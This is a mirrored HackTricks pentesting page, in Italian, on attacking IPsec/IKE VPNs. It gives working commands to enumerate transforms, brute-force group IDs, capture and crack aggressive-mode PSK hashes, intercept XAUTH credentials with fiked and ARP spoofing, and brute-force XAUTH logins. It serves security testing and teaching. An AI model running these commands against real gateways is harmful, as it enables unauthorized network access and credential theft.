mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
270 lines
18 KiB
Markdown
270 lines
18 KiB
Markdown
# 500/udp - Pentesting IPsec/IKE VPN
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
{% endhint %}
|
|
|
|
## Informazioni di base
|
|
|
|
**IPsec** è ampiamente riconosciuto come la principale tecnologia per la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e da utenti remoti al gateway di rete (accesso remoto), fungendo da spina dorsale per le soluzioni VPN aziendali.
|
|
|
|
L'istituzione di una **associazione di sicurezza (SA)** tra due punti è gestita da **IKE**, che opera sotto l'ombrello di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:
|
|
|
|
* **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Chiave Pre-Condivisa (PSK) o certificati, impiegando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
|
|
* **Fase 1.5:** Anche se non obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
|
|
* **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfetta Riservatezza Avanzata (PFS)**, migliorando la sicurezza.
|
|
|
|
**Porta predefinita:** 500/udp
|
|
|
|
## **Scopri** il servizio utilizzando nmap
|
|
```
|
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
|
Nmap scan report for 172.16.21.200
|
|
Host is up (0.00036s latency).
|
|
PORT STATE SERVICE
|
|
500/udp open isakmp
|
|
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|
```
|
|
## **Trovare una trasformazione valida**
|
|
|
|
La configurazione IPSec può essere preparata per accettare solo una o poche trasformazioni. Una trasformazione è una combinazione di valori. **Ogni trasformazione** contiene un numero di attributi come DES o 3DES come **algoritmo di crittografia**, SHA o MD5 come **algoritmo di integrità**, una chiave pre-condivisa come **tipo di autenticazione**, Diffie-Hellman 1 o 2 come **algoritmo di distribuzione della chiave** e 28800 secondi come **durata**.
|
|
|
|
Quindi, la prima cosa che devi fare è **trovare una trasformazione valida**, affinché il server possa comunicare con te. A tal fine, puoi utilizzare lo strumento **ike-scan**. Per impostazione predefinita, Ike-scan funziona in modalità principale e invia un pacchetto al gateway con un'intestazione ISAKMP e una singola proposta con **otto trasformazioni al suo interno**.
|
|
|
|
A seconda della risposta, puoi ottenere alcune informazioni sul punto finale:
|
|
```
|
|
root@bt:~# ike-scan -M 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=d90bf054d6b76401)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
Come puoi vedere nella risposta precedente, c'è un campo chiamato **AUTH** con il valore **PSK**. Questo significa che il vpn è configurato utilizzando una chiave precondivisa (e questo è davvero buono per un pentester).\
|
|
**Il valore dell'ultima riga è anche molto importante:**
|
|
|
|
* _0 restituito handshake; 0 restituito notify:_ Questo significa che il target è **non un gateway IPsec**.
|
|
* _**1 restituito handshake; 0 restituito notify:**_ Questo significa che il **target è configurato per IPsec ed è disposto a eseguire la negoziazione IKE, e uno o più dei trasformazioni che hai proposto sono accettabili** (una trasformazione valida sarà mostrata nell'output).
|
|
* _0 restituito handshake; 1 restituito notify:_ I gateway VPN rispondono con un messaggio notify quando **nessuna delle trasformazioni è accettabile** (anche se alcuni gateway non lo fanno, nel qual caso dovrebbe essere tentata un'analisi ulteriore e una proposta rivista).
|
|
|
|
Poi, in questo caso abbiamo già una trasformazione valida, ma se sei nel 3° caso, allora devi **forzare un po' per trovare una trasformazione valida:**
|
|
|
|
Prima di tutto devi creare tutte le possibili trasformazioni:
|
|
```bash
|
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
|
```
|
|
E poi eseguire un attacco di forza bruta su ciascuno utilizzando ike-scan (questo può richiedere diversi minuti):
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Se il brute-force non ha funzionato, forse il server sta rispondendo senza handshake anche a trasformazioni valide. Allora, potresti provare lo stesso brute-force ma utilizzando la modalità aggressiva:
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Speriamo che **una trasformazione valida venga restituita**.\
|
|
Puoi provare **lo stesso attacco** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
|
Potresti anche provare a forzare le trasformazioni con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
|
```bash
|
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
|
```
|
|
.png>)
|
|
|
|
In **DH Group: 14 = 2048-bit MODP** e **15 = 3072-bit**\
|
|
**2 = HMAC-SHA = SHA1 (in questo caso). Il formato `--trans` è $Enc,$Hash,$Auth,$DH**
|
|
|
|
Cisco indica di evitare l'uso dei gruppi DH 1 e 2 perché non sono abbastanza forti. Gli esperti credono che **i paesi con molte risorse possano facilmente rompere la crittografia** dei dati che utilizzano questi gruppi deboli. Questo viene fatto utilizzando un metodo speciale che li prepara a decifrare i codici rapidamente. Anche se costa molto denaro impostare questo metodo, consente a questi paesi potenti di leggere i dati crittografati in tempo reale se utilizza un gruppo che non è forte (come 1.024-bit o più piccolo).
|
|
|
|
### Server fingerprinting
|
|
|
|
Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzerà** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il corrispondente modello di risposta, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il payload **Vendor ID (VID)** opzionale con IKE.
|
|
|
|
**Specifica la trasformazione valida se necessario** (utilizzando --trans)
|
|
|
|
Se IKE scopre quale è il fornitore, lo stamperà:
|
|
```
|
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=4f3ec84731e2214a)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
IKE Backoff Patterns:
|
|
|
|
IP Address No. Recv time Delta Time
|
|
172.16.21.200 1 1322286031.744904 0.000000
|
|
172.16.21.200 2 1322286039.745081 8.000177
|
|
172.16.21.200 3 1322286047.745989 8.000908
|
|
172.16.21.200 4 1322286055.746972 8.000983
|
|
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
Questo può essere ottenuto anche con lo script nmap _**ike-version**_
|
|
|
|
## Trovare l'ID corretto (nome del gruppo)
|
|
|
|
Per essere autorizzati a catturare l'hash, è necessario un trasformazione valida che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
|
|
Per farlo, ti consiglio 2 metodi:
|
|
|
|
### Forzare l'ID con ike-scan
|
|
|
|
Prima di tutto, prova a fare una richiesta con un ID falso cercando di raccogliere l'hash ("-P"):
|
|
```bash
|
|
ike-scan -P -M -A -n fakeID <IP>
|
|
```
|
|
Se **non viene restituito alcun hash**, allora probabilmente questo metodo di brute forcing funzionerà. **Se viene restituito un hash, questo significa che un hash falso verrà inviato per un ID falso, quindi questo metodo non sarà affidabile** per forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):
|
|
|
|
.png>)
|
|
|
|
Ma se, come ho detto, non viene restituito alcun hash, allora dovresti provare a forzare i nomi di gruppo comuni utilizzando ike-scan.
|
|
|
|
Questo script **cercherà di forzare gli ID possibili** e restituirà gli ID dove viene restituita una handshake valida (questo sarà un nome di gruppo valido).
|
|
|
|
Se hai scoperto una trasformazione specifica, aggiungila nel comando ike-scan. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).
|
|
|
|
Puoi usare il [dizionario di ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [quello in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) di nomi di gruppo comuni per forzarli:
|
|
```bash
|
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
|
```
|
|
Or use this dict (è una combinazione degli altri 2 dizionari senza ripetizioni):
|
|
|
|
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
|
|
|
### Bruteforcing ID con Iker
|
|
|
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilizza anche **ike-scan** per bruteforcare possibili nomi di gruppo. Segue il proprio metodo per **trovare un ID valido basato sull'output di ike-scan**.
|
|
|
|
### Bruteforcing ID con ikeforce
|
|
|
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cerca di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco utilizzare il metodo ike-scan se possibile).
|
|
|
|
Per impostazione predefinita, **ikeforce** invierà all'inizio alcuni ID casuali per controllare il comportamento del server e determinare la tattica da utilizzare.
|
|
|
|
* Il **primo metodo** è bruteforcare i nomi dei gruppi cercando le informazioni **Dead Peer Detection DPD** dei sistemi Cisco (queste informazioni vengono riprodotte dal server solo se il nome del gruppo è corretto).
|
|
* Il **secondo metodo** disponibile è **controllare il numero di risposte inviate a ciascun tentativo** perché a volte vengono inviati più pacchetti quando viene utilizzato l'ID corretto.
|
|
* Il **terzo metodo** consiste nel **cercare "INVALID-ID-INFORMATION" in risposta a un ID errato**.
|
|
* Infine, se il server non risponde a nessuno dei controlli, **ikeforce** cercherà di bruteforcare il server e controllare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.\
|
|
Ovviamente, l'obiettivo di bruteforcare l'ID è ottenere il **PSK** quando si ha un ID valido. Poi, con l'**ID** e il **PSK** dovrai bruteforcare l'XAUTH (se è abilitato).
|
|
|
|
Se hai scoperto una trasformazione specifica, aggiungila nel comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).
|
|
```bash
|
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|
```
|
|
|
|
```bash
|
|
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
|
```
|
|
### Sniffing ID
|
|
|
|
(Dal libro **Network Security Assessment: Know Your Network**): È anche possibile ottenere nomi utente validi sniffando la connessione tra il client VPN e il server, poiché il primo pacchetto in modalità aggressiva contenente l'ID del client viene inviato in chiaro.
|
|
|
|
.png>)
|
|
|
|
## Capturing & cracking the hash
|
|
|
|
Infine, se hai trovato una **trasformazione valida** e il **nome del gruppo** e se **la modalità aggressiva è consentita**, allora puoi facilmente acquisire l'hash crackabile:
|
|
```bash
|
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
|
```
|
|
L'hash sarà salvato all'interno di _hash.txt_.
|
|
|
|
Puoi usare **psk-crack**, **john** (utilizzando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) e **hashcat** per **crackare** l'hash:
|
|
```bash
|
|
psk-crack -d <Wordlist_path> psk.txt
|
|
```
|
|
## **XAuth**
|
|
|
|
**La modalità aggressiva IKE** combinata con una **chiave pre-condivisa (PSK)** è comunemente impiegata per scopi di **autenticazione di gruppo**. Questo metodo è potenziato da **XAuth (Autenticazione Estesa)**, che serve a introdurre un ulteriore livello di **autenticazione dell'utente**. Tale autenticazione sfrutta tipicamente servizi come **Microsoft Active Directory**, **RADIUS** o sistemi comparabili.
|
|
|
|
Passando a **IKEv2**, si osserva un cambiamento notevole in cui **EAP (Protocollo di Autenticazione Estensibile)** è utilizzato al posto di **XAuth** per l'autenticazione degli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicura.
|
|
|
|
### MitM di rete locale per catturare le credenziali
|
|
|
|
Quindi puoi catturare i dati di accesso utilizzando _fiked_ e vedere se c'è qualche nome utente predefinito (Devi reindirizzare il traffico IKE a `fiked` per sniffare, il che può essere fatto con l'aiuto dello spoofing ARP, [maggiori informazioni](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:
|
|
```bash
|
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|
```
|
|
Also, usando IPSec prova a fare un attacco MitM e blocca tutto il traffico sulla porta 500, se il tunnel IPSec non può essere stabilito forse il traffico verrà inviato in chiaro.
|
|
|
|
### Brute-forcing XAUTH username e password con ikeforce
|
|
|
|
Per forzare la **XAUTH** (quando conosci un nome di gruppo valido **id** e il **psk**) puoi usare un nome utente o un elenco di nomi utente e un elenco di password:
|
|
```bash
|
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
|
```
|
|
In questo modo, ikeforce cercherà di connettersi utilizzando ogni combinazione di username:password.
|
|
|
|
Se hai trovato una o più trasformazioni valide, usale come nei passaggi precedenti.
|
|
|
|
## Autenticazione con un VPN IPSEC
|
|
|
|
In Kali, **VPNC** viene utilizzato per stabilire tunnel IPsec. I **profili** devono trovarsi nella directory `/etc/vpnc/`. Puoi avviare questi profili utilizzando il comando _**vpnc**_.
|
|
|
|
I seguenti comandi e configurazioni illustrano il processo di configurazione di una connessione VPN con VPNC:
|
|
```bash
|
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
|
IPSec gateway [VPN_GATEWAY_IP]
|
|
IPSec ID [VPN_CONNECTION_ID]
|
|
IPSec secret [VPN_GROUP_SECRET]
|
|
IKE Authmode psk
|
|
Xauth username [VPN_USERNAME]
|
|
Xauth password [VPN_PASSWORD]
|
|
STOP
|
|
root@system:~# vpnc samplevpn
|
|
VPNC started in background (pid: [PID])...
|
|
root@system:~# ifconfig tun0
|
|
```
|
|
In questa configurazione:
|
|
|
|
* Sostituisci `[VPN_GATEWAY_IP]` con l'indirizzo IP effettivo del gateway VPN.
|
|
* Sostituisci `[VPN_CONNECTION_ID]` con l'identificatore per la connessione VPN.
|
|
* Sostituisci `[VPN_GROUP_SECRET]` con il segreto di gruppo della VPN.
|
|
* Sostituisci `[VPN_USERNAME]` e `[VPN_PASSWORD]` con le credenziali di autenticazione della VPN.
|
|
* `[PID]` simboleggia l'ID del processo che verrà assegnato quando `vpnc` viene avviato.
|
|
|
|
Assicurati di utilizzare valori reali e sicuri per sostituire i segnaposto durante la configurazione della VPN.
|
|
|
|
## Materiale di Riferimento
|
|
|
|
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
|
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
|
* Network Security Assessment 3rd Edition
|
|
|
|
## Shodan
|
|
|
|
* `port:500 IKE`
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
</details>
|
|
{% endhint %}
|